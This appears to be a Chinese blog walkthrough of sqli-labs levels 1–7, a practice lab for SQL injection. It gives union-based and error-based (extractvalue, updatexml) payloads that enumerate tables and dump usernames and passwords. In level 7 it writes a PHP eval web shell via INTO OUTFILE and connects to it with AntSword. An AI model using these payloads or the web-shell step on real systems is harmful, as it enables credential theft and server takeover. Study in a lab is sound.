没了解sql注入的知识,本篇更像是复现
数据库层面
│ ├── 数据库1(Database 1)
│ │ ├── 表1(Table 1)
│ │ │ ├── 主键字段(Primary Key):唯一标识表中的每一行。
│ │ │ ├── 字段2(Field 2):存储不同类型的数据,如字符串、数字、日期等。
│ │ │ │ ├── 数据类型(Data Type):定义字段可以存储的数据类型。
│ │ │ │ └── 约束条件(Constraints):限制字段的值,如唯一、非空、检查等。
│ │ │ └── 数据记录(Data Records):表中的具体数据,由行和列组成。
│ │ ├── 表2(Table 2)
│ │ │ ├── 字段结构(Field Structure):定义表的结构和字段属性。
│ │ │ └── 外键(Foreign Key):建立表与表之间的关系,确保数据的完整性。
│ │ └── 视图(View)
│ │ ├── 虚拟表(Virtual Table):基于一个或多个基础表的查询结果。
│ │ └── 视图定义(View Definition):定义视图的查询语句和权限。
│ ├── 数据库2(Database 2)
│ │ ├── 存储过程(Stored Procedures):预编译的SQL语句,可重复使用。
│ │ ├── 函数(Functions):执行特定任务并返回结果。
│ │ └── 触发器(Triggers):在特定事件发生时自动执行的操作。
│ └── 系统数据库(System Database)
│ ├── 信息存储(Information Storage):存储数据库元数据和系统配置。
│ ├── 系统表(System Tables):定义数据库的结构和状态。
│ └── 日志表(Log Tables):记录数据库的操作和错误信息。
数据库结构大致是库~表~字段
mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,这个数据库下有两个表tables和columns,tables有table_name和table_schema两个字段,其中table_name字段下面是所有数据库存在的表名 '所有数据库------>表名',table_schema字段下是所有表名对应的数据库名'所有表名------>数据库名';columns有colum_name和columns_schema两个字段,其中colum_name字段下是所有数据库存在的字段名所有数据库------>字段名,columns_schema字段下是所有表名对应的数据库'所有表名------>数据库'
如何判断是字符型注入还是数字型注入_怎么判断是字符型注入还是数字型注入-CSDN博客
1

提示输入id,上传id=1

判断sql语句是否是拼接,且是字符型还是数字型


可以看到加'的时候报错了,所以sql语句要是字符型的,使用联合查询,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
判断是否存在sql注入,先尝试闭合看看是否报错,使用id=1' order by 3--+查列名

继续查第四列发现报错了

说明只有3列,也可以用id=1' union select 1,2,3,4 --+去查列表,这样可以一键查出来有多少列。
接着查账号密码属于多少列,使用?id=-1' union select 1,2,3 --+

可以看到name在2列,密码在3列,接着使用?id=-1'union select1,database(),version()--+看数据名和版本名

得到名称是security,利用information_schema.tables数据库查询库中所以的表和列
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

通过查询,我们得到了四个表名,猜测信息可能在user里面,接下来爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name

得到了两个字段,从名称上看应该是账号密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
加上id隔开账号密码,查询这两个字段的内容

2
先判断类型?id=1'


显然是数字型,不存在联合拼接查列表?id=1 union select 1,2,3,4 --+

查属于多少列?id=-1 union select 1,2,3 --+

name在2,passwd在3,查数据名和版本?id=-1 union select 1,database(),version()

数据名叫security,暴库?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

还是在user,爆字段名?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

和上一关一样,查询username和password
?id=-1 union select 1,2,group_concat(username ,id , password) from users

3
?id=1 and 1=1

?id=1 and 1=2

?id=1' and '1'='1

是字符型注入
wp中使用?id=2')--+

?id=2'

报错,说明sql语句是引号字符型且有括号
查列表?id=1')union select 1,2,3--+

有三个列表,查库名和版本名?id=-1') union select 1,database(),version()--+

一样的名称,暴库?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
同样是在user
爆字段名?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询账号密码?id=-1')union select 1,2,group_concat(username ,id , password) from users--+
4
?id=1") order by 3--+

区别于上一关的,这关是双引号字符型,带括号
查列表?id=1")union select 1,2,3--+

查库名和版本名?id=-1") union select 1,database(),version()--+

暴库?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询账号密码?id=-1")union select 1,2,group_concat(username ,id , password) from users--+
5





单引号闭合型,且列表数为3

列表数为3,使用上面的办法显然是不行的,可以看到查询id的时候出来的不是账号密码,而是一串字符串,没有其他的显示,这时候用到布尔盲注,用到length(),ascii() ,substr()这三个函数
或者报错盲注,报错注入主要用extractvalue,updateml,floor函数
使用报错盲注
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

暴库?id=1' union select extractvalue(1,concat('~','~',database())) -- a
爆表?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a
爆数据?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users),'~')) -- a
前后看了几个wp,发现不论我怎么注入返回的画面都是这个画面,但是步骤就是上面那个
6
id=1' order by 4 --+

id=1" order by 4 --+
这题相较于上一题显然是双引号闭合型,其余都一样
7
多次尝试闭合类型,是'))闭合

提示输出文件,使用?id=1')) union select 1,'<?php @eval($_POST["456"]);?>',3 into outfile "E:\\phpstudy_pro\\www\\sqli-labs\\Less-7\\m456.php" -- a将木马写入

使用蚁剑连接
